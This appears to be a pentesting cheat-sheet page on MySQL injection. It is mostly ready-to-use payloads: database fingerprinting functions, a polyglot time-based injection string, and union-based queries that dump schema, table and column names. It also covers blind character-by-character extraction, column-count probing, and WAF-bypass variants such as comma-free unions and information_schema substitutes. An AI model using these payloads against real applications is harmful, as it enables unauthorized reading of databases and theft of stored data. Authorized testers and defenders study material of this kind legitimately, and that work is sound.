MySQL injection

This is a basic flow of how to confirm and perform a basic MySQL Injection. For more information go to: https://github.com/carlospolop-forks/PayloadsAllTheThings/blob/master/SQL%20injection/MySQL%20Injection.md​

 Comment for MySQL version 3.23.02

Interesting Functions

Confirm Mysql:

concat('a','b')database()version()user()system_user()@@version@@datadirrand()floor(2.9)length(1)count(1)

Useful functions

SELECT hex(database())SELECT conv(hex(database()),16,10) SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')SELECT uncompress(compress(database())) SELECT replace(database(),"r","R")SELECT substr(database(),1,1)='r'SELECT substring(database(),1,1)=0x72SELECT ascii(substring(database(),1,1))=114SELECT database()=char(114,101,120,116,101,115,116,101,114)SELECT group_concat(<COLUMN>) FROM <TABLE>SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

All injection

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/​

Flow

Remember that in "modern" versions of MySQL you can substitute "information_schema.tables" for "mysql.innodb_table_stats" (This could be useful to bypass WAFs).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();SELECT column_name FROM information_schema.columns WHERE table_name=""; SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; SELECT user FROM mysql.user WHERE file_priv='Y'; 

Only 1 value

• group_concat()

• Limit X,1

Blind one by one

• substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112

• mid(version(),X,1)='5'

Blind adding

• LPAD(version(),1...lenght(version()),'1')='asd'...

• RPAD(version(),1...lenght(version()),'1')='asd'...

• SELECT RIGHT(version(),1...lenght(version()))='asd'...

• SELECT LEFT(version(),1...lenght(version()))='asd'...

• SELECT INSTR('foobarbar', 'fo...')=1

Detect number of columns

Using a simple ORDER

order by 1order by 2order by 3...order by XXX​UniOn SeLect 1UniOn SeLect 1,2UniOn SeLect 1,2,3...

MySQL Union Based

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemataUniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Learn here different options to abuse a Mysql injection to obtain a SSRF.

WAF bypass tricks

Information_schema alternatives

Remember that in "modern" versions of MySQL you can substitute information_schema.tables for mysql.innodb_table_stats or for sys.x$schema_flattened_keys or for sys.schema_table_statistics

MySQLinjection without COMMAS

Select 2 columns without using any comma (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Retrieving values without the column name

If at some point you know the name of the table but you don't know the name of the columns inside the table, you can try to find how may columns are there executing something like:

select (select "", "") = (SELECT * from demo limit 1);     select (select "", "", "") < (SELECT * from demo limit 1); 

Supposing there is 2 columns (being the first one the ID) and the other one the flag, you can try to bruteforce the content of the flag trying character by character:

select (select 1, 'flaf') = (SELECT * from demo limit 1);

More info in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952​

MySQL history

You ca see other executions inside the MySQL reading the table: sys.x$statement_analysis

Version alternatives

mysql> select @@innodb_version;+------------------+| @@innodb_version |+------------------+| 5.6.31           |+------------------+​mysql> select @@version;+-------------------------+| @@version               |+-------------------------+| 5.6.31-0ubuntu0.15.10.1 |+-------------------------+​mysql> mysql> select version();+-------------------------+| version()               |+-------------------------+| 5.6.31-0ubuntu0.15.10.1 |+-------------------------+